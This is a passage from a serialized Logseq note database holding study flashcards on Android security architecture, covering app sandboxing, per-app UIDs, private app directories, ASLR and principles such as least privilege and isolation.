Idealogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[209,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[209,logseq____&quot;^Flogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[209,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[209,logseq____&quot;^Vlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[209,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[209,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[209,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[209,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-9e6a-4898-af0c-f2c468356ce0logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[210,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Apps *share memory locations* of shared libraries, e.g., core libslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[210,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[210,logseq____&quot;^Flogseq____&quot;,200,536870916]],[logseq____&quot;^15logseq____&quot;,[210,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[210,logseq____&quot;^Vlogseq____&quot;,200,536870916]],[logseq____&quot;^15logseq____&quot;,[210,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[210,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[210,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[210,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-b9e2-414e-b590-3773e3d6d081logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[211,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Installed apps have separate `UID` and `GID`(group ID) ($logseq____&gt; 10.000$ vs *predefined* UIDs for code Android apps and services)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[211,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[211,logseq____&quot;^Flogseq____&quot;,184,536870916]],[logseq____&quot;^15logseq____&quot;,[211,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[211,logseq____&quot;^Vlogseq____&quot;,201,536870916]],[logseq____&quot;^15logseq____&quot;,[211,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[211,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[211,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[211,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-7f71-4062-9d74-435d2658c449logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[212,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Exhausting process limit for UID causes this to faillogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[212,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[212,logseq____&quot;^Flogseq____&quot;,195,536870916]],[logseq____&quot;^15logseq____&quot;,[212,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[212,logseq____&quot;^Vlogseq____&quot;,196,536870916]],[logseq____&quot;^15logseq____&quot;,[212,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[212,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[212,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[212,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-05fa-4a06-b00e-fe7977add1a4logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[213,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Application Process Internals #card #security-architecturelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[213,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[213,logseq____&quot;^Flogseq____&quot;,201,536870916]],[logseq____&quot;^15logseq____&quot;,[213,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[213,logseq____&quot;^Vlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[213,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[213,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[213,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[213,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[213,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[213,logseq____&quot;^Hlogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[213,logseq____&quot;^Hlogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[213,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-14f9-4cee-bb52-0797e7ae4e02logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[214,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Utilize Linuxlogseq____&apos; *discretionary* file access control (owner can change permissions and ownership)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[214,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[214,logseq____&quot;^Flogseq____&quot;,217,536870916]],[logseq____&quot;^15logseq____&quot;,[214,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[214,logseq____&quot;^Vlogseq____&quot;,217,536870916]],[logseq____&quot;^15logseq____&quot;,[214,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[214,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[214,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[214,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-6547-4f3e-a4d7-1e987dad0e35logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[215,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*DWM/ART* is not a security boundary (can be circumvented with native code)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[215,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[215,logseq____&quot;^Flogseq____&quot;,208,536870916]],[logseq____&quot;^15logseq____&quot;,[215,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[215,logseq____&quot;^Vlogseq____&quot;,213,536870916]],[logseq____&quot;^15logseq____&quot;,[215,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[215,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[215,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[215,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-9deb-451b-b440-4b2ec0cb8ceflogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[216,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Use of *UID* (user ID, assigned per application on installation)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[216,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[216,logseq____&quot;^Flogseq____&quot;,186,536870916]],[logseq____&quot;^15logseq____&quot;,[216,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[216,logseq____&quot;^Vlogseq____&quot;,201,536870916]],[logseq____&quot;^15logseq____&quot;,[216,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[216,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[216,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[216,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-11ec-42e6-a800-781a4492c9f1logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[217,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Private App Directory #card #security-architecture\\nid:: 67b74d96-f668-44e4-83c6-0760487f0281logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[217,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[217,logseq____&quot;^Flogseq____&quot;,207,536870916]],[logseq____&quot;^15logseq____&quot;,[217,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[217,logseq____&quot;^Vlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[217,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[217,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[217,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[217,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b74d96-f668-44e4-83c6-0760487f0281logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[217,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^18logseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[217,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b74d96-f668-44e4-83c6-0760487f0281logseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[217,logseq____&quot;^Hlogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[217,logseq____&quot;^Hlogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[217,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b74d96-f668-44e4-83c6-0760487f0281logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[218,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Disclosing these locations allows for exploits circumventing ASLRlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[218,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[218,logseq____&quot;^Flogseq____&quot;,210,536870916]],[logseq____&quot;^15logseq____&quot;,[218,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[218,logseq____&quot;^Vlogseq____&quot;,200,536870916]],[logseq____&quot;^15logseq____&quot;,[218,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[218,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[218,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[218,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-77d1-41e4-b718-ca22ffdcb399logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[219,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## IOS Comparisonlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[219,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[219,logseq____&quot;^Flogseq____&quot;,199,536870916]],[logseq____&quot;^15logseq____&quot;,[219,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[219,logseq____&quot;^Vlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[219,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[219,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[219,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[219,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-c597-49cb-b2d9-b6e6c93298e6logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[220,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Until Android 10, process of the same app (process attribute in the [[Application Manifest]] ) allowed for sharing their sandbox (only if signed with same developer key)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[220,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[220,logseq____&quot;^Flogseq____&quot;,211,536870916]],[logseq____&quot;^15logseq____&quot;,[220,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[220,logseq____&quot;^Vlogseq____&quot;,201,536870916]],[logseq____&quot;^15logseq____&quot;,[220,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[220,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[220,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[220,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[220,logseq____&quot;^Hlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[220,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-404a-4890-a061-7d54fb480a5alogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[221,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Storage Options for Apps #card #security-architecturelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[221,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[221,logseq____&quot;^Flogseq____&quot;,217,536870916]],[logseq____&quot;^15logseq____&quot;,[221,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[221,logseq____&quot;^Vlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[221,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[221,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[221,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[221,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[221,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[221,logseq____&quot;^Hlogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[221,logseq____&quot;^Hlogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[221,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-bf29-4c66-bb27-522478e6aae5logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[222,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Give control flow to VM process\\nlogseq.order-list-type:: numberlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[222,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[222,logseq____&quot;^Flogseq____&quot;,188,536870916]],[logseq____&quot;^15logseq____&quot;,[222,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[222,logseq____&quot;^Vlogseq____&quot;,207,536870916]],[logseq____&quot;^15logseq____&quot;,[222,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[222,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[222,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^19logseq____&quot;,logseq____&quot;numberlogseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[222,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^19logseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[222,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^19logseq____&quot;,logseq____&quot;numberlogseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[222,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-9867-43f2-9c8b-0e2116e863b0logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[223,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Application sandbox specifies which system resources the application is allowed to accesslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[223,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[223,logseq____&quot;^Flogseq____&quot;,209,536870916]],[logseq____&quot;^15logseq____&quot;,[223,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[223,logseq____&quot;^Vlogseq____&quot;,209,536870916]],[logseq____&quot;^15logseq____&quot;,[223,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[223,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-e2da-4af7-919e-4a2d13a302a3logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[225,logseq____&quot;^Klogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[225,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[225,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;secure architecture principleslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[225,logseq____&quot;^11logseq____&quot;,logseq____&quot;Secure Architecture Principleslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[225,logseq____&quot;^Blogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[225,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c6-a951-4c28-b2bd-2a37adeb6c8blogseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[226,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Satisfy trust assumptions using validated propertieslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[226,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[226,logseq____&quot;^Flogseq____&quot;,233,536870916]],[logseq____&quot;^15logseq____&quot;,[226,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[226,logseq____&quot;^Vlogseq____&quot;,233,536870916]],[logseq____&quot;^15logseq____&quot;,[226,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[226,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-569f-4f6e-8a09-21ff8a8ff5c9logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[227,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Security must be usablelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[227,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[227,logseq____&quot;^Flogseq____&quot;,254,536870916]],[logseq____&quot;^15logseq____&quot;,[227,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[227,logseq____&quot;^Vlogseq____&quot;,254,536870916]],[logseq____&quot;^15logseq____&quot;,[227,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[227,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-7fc3-4bfe-8586-2c403ae1ede8logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[228,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Secure, fail-safe defaultslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[228,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[228,logseq____&quot;^Flogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[228,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[228,logseq____&quot;^Vlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[228,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[228,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[228,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[228,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-8a78-4620-b6bc-aa184da1b8f0logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[229,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Virtual Machineslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[229,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[229,logseq____&quot;^Flogseq____&quot;,235,536870916]],[logseq____&quot;^15logseq____&quot;,[229,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[229,logseq____&quot;^Vlogseq____&quot;,244,536870916]],[logseq____&quot;^15logseq____&quot;,[229,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[229,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-b861-41c7-b9ec-9916fe80acb6logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[230,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Fine-grained privileges allow for isolated [modules]((67b73d61-146d-41b7-88c1-bfe2f62977c9))logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[230,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[230,logseq____&quot;^Flogseq____&quot;,232,536870916]],[logseq____&quot;^15logseq____&quot;,[230,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[230,logseq____&quot;^Vlogseq____&quot;,234,536870916]],[logseq____&quot;^15logseq____&quot;,[230,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[230,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-c863-43c0-986d-9779c3b473d8logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[231,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Isolationlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[231,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[231,logseq____&quot;^Flogseq____&quot;,247,536870916]],[logseq____&quot;^15logseq____&quot;,[231,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[231,logseq____&quot;^Vlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[231,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[231,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[231,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[231,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-c651-475c-bdd8-c4d029c4dbc7logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[232,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Privilege as ability to access/modify a resourcelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[232,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[232,logseq____&quot;^Flogseq____&quot;,246,536870916]],[logseq____&quot;^15logseq____&quot;,[232,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[232,logseq____&quot;^Vlogseq____&quot;,234,536870916]],[logseq____&quot;^15logseq____&quot;,[232,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[232,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-2649-4f4a-9787-c8eb33c4beeblogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[233,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Minimize Trust - Maximize Trustworthinesslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[233,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[233,logseq____&quot;^Flogseq____&quot;,243,536870916]],[logseq____&quot;^15logseq____&quot;,[233,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[233,logseq____&quot;^Vlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[233,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[233,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[233,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[233,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-fe13-48c5-a8cc-874ed7ad7e1elogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[234,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Least Privilege\\nid:: 67b73cc0-6cc9-4099-81fe-fb696e04c2e6logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[234,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[234,logseq____&quot;^Flogseq____&quot;,249,536870916]],[logseq____&quot;^15logseq____&quot;,[234,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[234,logseq____&quot;^Vlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[234,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[234,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b73cc0-6cc9-4099-81fe-fb696e04c2e6logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[234,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^18logseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[234,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ 